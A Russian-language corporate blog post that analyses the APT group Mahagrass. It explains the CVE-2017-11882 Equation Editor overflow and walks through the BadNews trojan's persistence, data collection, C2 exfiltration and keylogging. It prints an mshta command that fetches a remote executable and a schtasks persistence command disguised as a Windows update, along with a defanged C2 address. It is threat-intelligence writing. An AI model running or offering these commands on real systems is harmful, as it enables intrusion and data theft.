Pull to refresh
240.77
FirstVDS
Виртуальные серверы в ДЦ в Москве

О неуловимой киберпреступной группировке Mahagrass: RemCos, BadNews и CVE-2017-11882. Часть 1

Level of difficultyEasy
Reading time11 min
Views1.4K

Ежедневно в мире происходят сотни тысяч киберпреступлений, некоторые из них совсем незначительные, например, когда любопытный школьник устроил DDoS-атаку на сайт своей школы и вызвал кратковременные сбои в его работе, а некоторые из них насколько глобальны, что даже представить сложно. Скажем, недавно злоумышленники получили доступ к серверам компании, занимающейся пуском ракет в космос, утащили секретные чертежи и ушли совершенно невредимыми.

DDoS (Distributed Denial of Service) — представляет собой вид кибератаки, направленной на создание перегрузки в работе веб-сервиса, онлайн-ресурса или компьютерной системы, сделав их недоступными для легитимных пользователей. В ходе DDoS-атаки злоумышленники используют множество компьютеров и устройств для одновременной отправки огромного количества запросов на целевой ресурс. Это может привести к перегрузке сети, сервера или приложения, что делает его недоступным для обычных пользователей.

А ведь именно безнаказанность порождает вседозволенность, и сегодня мы поговорим об одной неуловимой хакерской группировке, которая продолжает совершать преступления уже 14 лет подряд. В конце ноября 2023 года они снова ворвались на киберпреступную сцену, вызвав небывалый резонанс. Конечно, речь идет о Mahagrass (APT-Q-36). Стоит заметить, что они периодически меняют название своей группировки, возможно, они знакомы вам как Patchwork, Dropping Elephant или Hangover. 

Статья является кратким аналитическим обзором активности преступников и используемых ими вредоносов за последние несколько лет. Она будет состоять из нескольких частей. 

В недавних кибератаках злоумышленники использовали новый дроппер Spyder Loader и модифицированный троян RemCos, атакуя преимущественно государственные и военные учреждения, а также организации в области энергетики, промышленности, науки и образования, политики и экономики. Изначально действовали исключительно в Южной Азии, но со временем ареал их злодеяний расширился, и теперь их активность отмечают по всему миру. 

Дроппер — это тип вредоносного программного обеспечения, который используется для загрузки и запуска других вредоносных программ на компьютере жертвы. Его основная цель заключается в том, чтобы скрытно внедрить дополнительные вредоносные файлы или программы на зараженную систему.

Атаки производятся в основном для похищения конфиденциальной информации с одной очевидной целью — продажа на теневых рынках. 

Mahagrass — краткая история 

Итак, впервые эта группировка заявила о себе ещё в далеком ноябре 2009 года, именно тогда они впервые атаковали правительственные организации Южной Кореи. И то ли по стечению обстоятельств, то ли злоумышленники были насколько круты, но этого никто не заметил. Как утверждает китайский источник, Mahagrassактивно атаковали азиатские государственные учреждения на протяжении шести лет, и этого никто не обнаружил. Звучит как что-то из области фантастики, но это действительно имело место. 

Все изменилось, когда преступники решили расширить свой ареал охоты в 2015 году, начав атаки на Россию, США, Израиль и другие страны по всему миру. И тогда они сразу же были обнаружены

Впервые их схему раскрыл некий исследователь, о котором на данный момент нет практически никакой информации, известен лишь его псевдоним — Norman. Он детально описал все приёмы и фишки группировки, окрестив их названием «Hangover». К сожалению, на данный момент найти этот отчет уже невозможно, по неизвестным причинам, практически вся информация о событиях тех лет была удалена.

После своего обнаружения преступники решили действовать более открыто. Если раньше они атаковали только системы Windows, то начиная с 2015 года они расширили список устройств: Windows, Linux, MAC и Android. Примечательно, что Mahagrass никогда не разрабатывали собственных вирусов, они лишь модифицировали уже имеющиеся зловреды и экспериментировали со способами их доставки.

Так, уже в начале 2022 года Махаграсс организовали крупномасштабную атаку на правительственные учреждения по всему миру, используя достаточно старую уязвимость в редакторе формул Microsoft Windows — CVE-2017-11882. Первичной полезной нагрузкой в этой цепочке выступал текстовый документ в формате RTF. При его запуске на машине жертвы происходило развертывание модифицированной версии трояна BADNEWS. Подробнее об этом немного ниже. 

В конце ноября 2023 года, как уже упоминалось ранее, Махаграсс снова вышли на сцену, но на этот раз четко следуя сегодняшним тенденциям распространения вредоносов в сети. Да, уже несколько лет все преступники предпочитают использовать различные варианты дропперов вместо непосредственной эксплуатации каких-либо уязвимостей. 

CVE-2017-11882 — краткий обзор уязвимости 

CVE-2017-11882 — это идентификатор обнаруженной уязвимости в программном обеспечении. В данном случае это конкретный идентификатор открытой уязвимости (Common Vulnerabilities and Exposures), который был присвоен дыре, обнаруженной в Microsoft Office. 

При успешной эксплуатации он может позволить злоумышленникам удаленно выполнить код на уязвимой машине — даже без взаимодействия с пользователем. Жертве достаточно лишь открыть полезную нагрузку в виде документа у себя на устройстве. 

Как уже упоминалось ранее, возникла эта возможность из-за ошибки в редакторе формул (EQNEDT32.EXE), который вставляет или редактирует объекты связывания и внедрения объектов (OLE) в документы. Эта ошибка была исправлена достаточно оперативно, но крупные компании, как и пользователи, как всегда не особо спешили устанавливать заветное обновление с фиксом. Результат, думаю, очевиден. Огромное количество уязвимых систем по всему миру даже на данный момент. В подтверждение этому привожу статью от Лаборатории Касперского, в которой эксперты отмечают, что уязвимость до сих пор активна и может быть использована. 

Самое печальное, что эксплоиты для этой уязвимости находятся в открытом доступе, естественно, с пометкой PoC, но кого когда-либо это останавливало? Давайте разберем механизм работы одного из таких

Итак, перед нашими глазами находится абсолютно ничем не примечательный документ в формате .rtf. Разве что его название (exploit) немного подводит. При его открытии ничего особого не произойдет: если смотреть со стороны обычного пользователя, мы все также увидим содержимое файла. Калькулятор почему-то открылся, но какая разница, если нам пришло письмо, где говорится о нашем отпуске. Верно? (Зачастую письма выглядели в точности как официальные письма от организаций).

Эксплоит (англ. exploit) — в компьютерной безопасности обозначает программный код или технику, используемую для активации уязвимости в программном обеспечении с целью получения несанкционированного доступа к системе или выполнения определенных действий. Эксплоиты могут быть написаны злоумышленниками для использования в кибератаках или тестирования безопасности систем с согласия их владельцев.

PoC — в области компьютерной безопасности означает «доказательство концепции» (Proof of Concept). Этот термин используется для обозначения демонстрации или тестирования того, что конкретная идея, метод или уязвимость может быть успешно реализована на практике.

Также при просмотре этого кода, мне в глаза сразу бросается строка Equation.3. Это объект уравнения OLE, который и содержит в себе вредоносную основу. Давайте извлечем его и перейдем в деббагер, чтобы определить, что именно он делает. 

Вот эти все длинные и непонятные символы являются кодом несуществующего шрифта длиной в 48 байт. Уязвимый редактор формул MW просто не способен обрабатывать такое большое количество информации, и при попытке скопировать код шрифта в локальный буфер обмена и возникает переполнение буфера. Ведь EQNEDT32.EXE способен копировать только 40 байт. И после завершения функции поток выполнения перейдет на необходимый для злоумышленника адрес. 

В конкретно этом примере выполнение перейдет на адрес 0x430c12, который является адресом WinExec. В качестве аргумента будет использовано имя шрифта, которое можно расшифровать в cmd.exe /c calc.exe. Это приведет к запуску калькулятора, но обычно злоумышленники его не запускают, а сразу указывают что-то типа вот этого:

mshta http://192.168.87.103/1.exe

В случае с Махаграсс имеет место быть двойная эксплуатация уязвимости. Сперва скачивается скрипт и помещается в необходимую директорию, а затем выполняется посредством этой команды: 

cmd "/c schtasks /create /sc минута /mo 1 /tn WindowsUpdate /tr C: \ProgramData\OneDrive.exe".

Уязвимость была использована множеством преступных группировок для доставки огромного количества самого разнообразного вредоносного ПО: ZLoader, ZBot, RemCos, Loki Locker, FormBook и других. О некоторых из этих вредоносов уже был написан анализ. 

Методика заражения с использованием этой уязвимости остается неизменной — спам-рассылки на почту. В случае с Махаграсс эти рассылки были ориентированы в основном на сотрудников государственных учреждений. 

Письма приходили на личные почтовые ящики и могли быть или обычной рекламой, или проработанными фейковыми формами. Прекрасный пример — письма с формой выбора отпускного периода,,полученные многими работниками министерства здравоохранения Пакистана. Все письма были хорошо проработаны и отличить их от настоящих — достаточно сложная задача, ведь злоумышленники использовали не только легитимное оформление, но также печати и подписи. 

Промежуточные выводы 

Дорогие читатели, я спешу вас проинформировать, что погоня за бесплатным ПО может привести к потере всего. Я лично знаю много людей, которые используют крякнутые версии Microsoft Office. Если вы из таких людей, специально для вас я провел небольшое исследование. 

90% из всех распространяемых «бесплатных» пакетов уязвимы для CVE-2017-11882. И я даже не говорю о том, что у 60% заведомо уже был вшит какой-никакой вредонос. Злоумышленники специально распространяют уязвимые версии, продлевая жизнь уже и без того старой, но все ещё актуальной уязвимости. Пиратство — опасно. Занавес. 

Краткий статистический анализ вредоносов, используемых Mahagrass за последнее время — троян BadNews 

Список инструментов, используемых для анализа: 

  1. DIE — Detect It Easy: многофункциональный инструмент, имеющий просто огромный арсенал. Позволит нам опередить тип компилятора вредоноса, язык, библиотеки и таблицы импорта/экспорта с последующим дизассемблированием. 

  2. PE Bear — неплохой инструмент для просмотра и редактирования составляющих PE-файла. 

  3. Tiny Tracer — утилита для динамического отслеживания исполнения бинарных элементов. Так называемый трейсер.

  4. IDA PRO — инструмент для реверс-инжиниринга. 

  5. Reko — декомпилятор, также знаком нам из прошлых статей.

  6. HollowHunter — утилита распознает и сбрасывает множество потенциально вредоносных имплантов (замененные/имплантированные PE, шелл-коды, перехватчики, патчи в памяти).

Итак, начинаем с достаточно древнего трояна под названием BadNews, анализ будет проводить в хронологическом порядке. Я не буду приводить его краткую историю, просто скажу, что он использовался во многих атаках, в том числе и на территории СНГ. 

Mahagrass же начали его использовать уже достаточно давно, первые упоминания об этом в сети появились в начале 2017 года

Перед нами тот самый файл, который доставляется через документ .rtf. Сразу же отмечаем интересный способ маскировки с названием — OneDrive. К слову, иконка тоже соответствует. Размер файла составляет 181 КБ, и никакой информации больше нет. Воспользуемся DIE для получения дополнительных сведений. Теперь мы понимаем, что вредонос является исполняемым PE32-файлом, написанным на C++. Уже стандартно для таких зловредов в качестве компилятора был использован Microsoft Linker, но что удивляет больше, так это наличие цифрового сертификата. Дата компиляции, скорее всего, не была изменена. 

OneDrive — это облачный сервис хранения данных, предоставляемый компанией Microsoft. С его помощью пользователи могут сохранять и синхронизировать файлы в облаке, что позволяет им получать к ним доступ из различных устройств с подключением к интернету. 

Примерный алгоритм работы вредоноса: 

  1. Закрепление себя в системе и генерация уникального ID жертвы. 

  2. Сбор информации о системе: получение всех запущенных служб и процессов, характеристик устройства и установка связи с C&C-сервером. 

  3. Выполнение команд злоумышленника. 

Переходим в IDA и видим следующий огромный список импортов: 

Даже по этим функциям мы уже можем сделать некоторые выводы о функционале трояна, к примеру: полноценный файловый менеджмент (создание, удаление, чтение, скачивание), создание снимков экрана и передача их на командный сервер, загрузка других вредоносов. Но не будем слишком забегать наперед, обо всем по порядку. 

Закрепление себя в системе и генерация уникального ID жертвы

Сразу после запуска BadNews начнет закрепляться в системе, чтобы в случае перезагрузки устройства продолжить свою деятельность. В принципе, здесь нет ничего особенного, вредонос добавляет соответствующий ключ в реестре Windows, а затем добавляет себя же в автозагрузку. Затем следует ещё одно типичное действие, которое присуще практически всем современным вредоносам — создание уникального идентификатора зараженного устройства. В случае с BadNews все очень просто, используется номер WMI, который и будет использован как ID. 

Сбор информации о системе: получение всех запущенных служб и процессов, характеристик устройства

Этот процесс начинается с создания файла с именем RTYgjfddfss.sys (может отличаться в зависимости от версий). Затем вредонос запустит оболочку Powershell и с помощью команды Get-Service получит список всех запущенных служб, которые будут записаны в только что созданный файл. Аналогичным образом будет получен список процессов, только уже с использованием команды TaskList. Также будет запрошено ещё много данных, включая системное время, количество оперативной памяти, название процессора и накопителя. Все полученные данные зловред запишет в ранее созданный файл RTYgjfddfss.sys. Затем с помощью POST-запроса конкретно эта версия трояна отправит .sys-файл на удаленный командный сервер по следующему адресу: https://dyspdfgdnesk[.]com/fgkl/cvkaf/kj/1[.]php/. 

Важно отметить, что перед отправкой собранные данные тщательно шифруются с использованием или алгоритма AES-CBC-128, или RC4. Конкретно этот образец использует первую, более упрощенную, версию шифрования.

AES-CBC-128 (Advanced Encryption Standard Cipher Block Chaining with a 128-bit key) представляет собой шифрование блоков данных с использованием алгоритма AES и режима работы CBC (Cipher Block Chaining). Давайте разберем основные компоненты этого названия:

AES (Advanced Encryption Standard): это симметричный алгоритм шифрования, принятый в качестве стандарта шифрования США. Он предоставляет высокий уровень безопасности и эффективности.

CBC (Cipher Block Chaining): это режим работы для алгоритмов блочного шифрования, таких как AES. В режиме CBC каждый блок открытого текста комбинируется с предыдущим зашифрованным блоком перед шифрованием. Это обеспечивает дополнительный уровень случайности и предотвращает проблемы, связанные с одинаковыми блоками открытого текста, давая дополнительную стойкость к атакам.

128-bit key (128-битный ключ): Это длина ключа, используемая в алгоритме AES-CBC. Длина ключа влияет на уровень безопасности шифрования. 128 бит являются стандартной длиной ключа для AES, хотя также существуют варианты с более длинными ключами (например, 192 бита и 256 бит).

Таким образом, AES-CBC-128 представляет собой комбинацию симметричного шифрования с использованием AES, режима CBC для обеспечения безопасности передачи блоков данных и 128-битного ключа для управления шифрованием. Этот подход широко используется для защиты конфиденциальности данных при их передаче через небезопасные каналы.

Реализация шифрования с использованием AES-CBC-128 включает в себя несколько шагов, в прошлых статьях мы уже подробно разбирали этот алгоритм, поэтому представлю только ключевые этапы этого процесса:

  1. Генерация ключа. Генерируется случайный 128-битный ключ.

  2. Дополнение блоков данных. При необходимости дополняет открытый текст до размера, кратного размеру блока. 

  3. Разделение данных на блоки. Разделение открытого текста на блоки размером 128 бит.

  4. Инициализация вектора инициализации (IV). Генерируется случайный вектор инициализации (IV) длиной 128 бит. IV необходим для первого блока данных и будет использован для комбинирования с первым блоком открытого текста.

  5. Шифрование в режиме CBC происходит для каждого блока, исключая XOR.

  6. Непосредственно шифрование. Применяется AES-шифрование к полученному результату с использованием сгенерированного ключа.

Выполнение команд злоумышленника

На этом этапе вредонос уходит в спящий режим, ожидая поступления новых команд от командного сервера. Давайте разберем случай, когда преступник решил активировать кейлоггер на зараженной машине. 

Сразу после получения указаний вредонос создаст файл с названием keylog.sys (название может отличаться в зависимости от версий). Затем будет выделен новый поток выполнения для вызова GetKeyState, который и регистрирует все нажатия клавиш, а затем записывает в только что созданный файл. При необходимости злоумышленник может отправить трояну команду загрузить keylog.sys на командный сервер. Гениальность в простоте? Так точно.

Выводы

На этом первая часть статьи о группировке Mahagrass подходит к концу. Преступники, которые никак не перестанут удивлять, совершая свои злодеяния уже на протяжении более чем 10 лет. Но каждый рано или поздно совершает ошибки, поэтому в скором времени они будут раскрыты и пойманы. 

Троян BadNews на данный момент не представляет особой угрозы, так как большинство антивирусных приложений засекают его и легко справляются с ним, чего не скажешь о следующих творениях этой преступной группировки. Но всему своё время. До скорого.

Автор статьи @DeathDay


НЛО прилетело и оставило здесь промокод для читателей нашего блога:
— 15% на заказ любого VDS (кроме тарифа Прогрев) — HABRFIRSTVDS.

Tags:
Hubs:
Total votes 8: ↑7 and ↓1+6
Comments1

Articles

Information

Website
firstvds.ru
Registered
Founded
Employees
51–100 employees
Location
Россия
Representative
FirstJohn